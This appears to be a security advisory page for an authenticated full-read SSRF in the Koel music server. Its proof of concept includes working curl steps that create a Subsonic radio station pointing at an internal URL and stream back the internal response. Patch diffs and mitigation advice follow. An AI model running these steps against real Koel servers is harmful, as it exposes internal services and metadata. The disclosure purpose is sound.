Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio StationsGHSA-6p96-cfg5-4vhp
HIGHFix: koel/koel#2545GHSA-6p96-cfg5-4vhp is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in phanan/koel. A fix is available for phanan/koel — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6p96-cfg5-4vhp.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-6p96-cfg5-4vhp by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
phanan/koelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
Details
SafeUrl is applied on the web API, but not on the Subsonic endpoints
Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:
app/Http/Requests/API/Radio/RadioStationStoreRequest.phpapp/Http/Requests/API/Radio/RadioStationUpdateRequest.php
new SafeUrl(),
new HasAudioContentType(),
The Subsonic-compatible routes do not reuse those checks:
routes/subsonic.phpcreateInternetRadioStation.viewupdateInternetRadioStation.view
app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.phpapp/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
return [
'streamUrl' => ['required', 'string'],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
The result is a validation gap between two routes that create the same type of object.
The unvalidated URL is stored and later fetched server-side
The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:
app/Http/Controllers/Subsonic/CreateInternetRadioStationController.phpapp/Http/Controllers/Subsonic/UpdateInternetRadioStationController.phpapp/Services/RadioService.php
The SSRF is triggered when the station is played:
app/Http/Controllers/StreamRadioController.phpapp/Services/Radio/RadioStreamService.phpapp/Services/Radio/RadioStreamProxy.php
RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:
$stream = fopen($url, 'r', false, $context);
The response body is returned to the attacker
If the upstream response is treated as a normal stream, Koel forwards it back to the client:
while (!feof($stream) && !connection_aborted()) {
echo fread($stream, 8192);
flush();
}
That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.
This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.
PoC
The following steps were validated against the official phanan/koel:9.6.0 image.
- Authenticate and obtain an API token:
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"[email protected]","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
- Obtain the user's Subsonic API key:
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
- Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:
TARGET_URL="http://172.17.0.1:18090/feed.xml"
- Confirm the regular web API blocks the URL:
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"
Expected result:
- HTTP
422 - Error includes
The url must point to a public URL.
- Create the same station through the Subsonic route:
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode 'name=xmlpeek' \
--data-urlencode "streamUrl=$TARGET_URL"
Expected result:
- HTTP
200 - JSON includes
"status":"ok"
- Resolve the station ID and stream it:
STATION_ID=$(
curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
| python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
Expected result:
- HTTP
200 - Response body contains the upstream content from the internal target URL
An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.
Practical impact includes:
- Reading loopback-only, RFC1918, or Docker-bridge HTTP services
- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
- Performing internal HTTP reconnaissance and retrieving content through Koel itself
Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.
Remediation
The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.
Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:
diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
@@
namespace App\Http\Requests\Subsonic;
use App\Http\Requests\Request;
+use App\Rules\HasAudioContentType;
+use App\Rules\SafeUrl;
@@
public function rules(): array
{
return [
'id' => ['required', 'string'],
- 'streamUrl' => ['required', 'string'],
+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],
'name' => ['required', 'string'],
'homepageUrl' => ['nullable', 'string'],
];
}
}
Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:
diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php
--- a/app/Services/Radio/RadioStreamProxy.php
+++ b/app/Services/Radio/RadioStreamProxy.php
@@
namespace App\Services\Radio;
+use App\Helpers\Network;
use App\Models\RadioStation;
class RadioStreamProxy
{
+ public function __construct(private readonly Network $network) {}
+
@@
public function openStream(string $url)
{
+ if (!$this->network->isSafeUrl($url)) {
+ return false;
+ }
+
$context = stream_context_create([
'http' => [
'header' => "Icy-MetaData: 1\r\n",
'timeout' => 5,
],
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phanan/koel | all versions | 9.7.0composer require phanan/koel:^9.7.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phanan/koel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phanan/koel to 9.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6p96-cfg5-4vhp is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Frequently Asked Questions
Is GHSA-6p96-cfg5-4vhp in your dependencies?
Find it across Packagist, including transitive dependencies.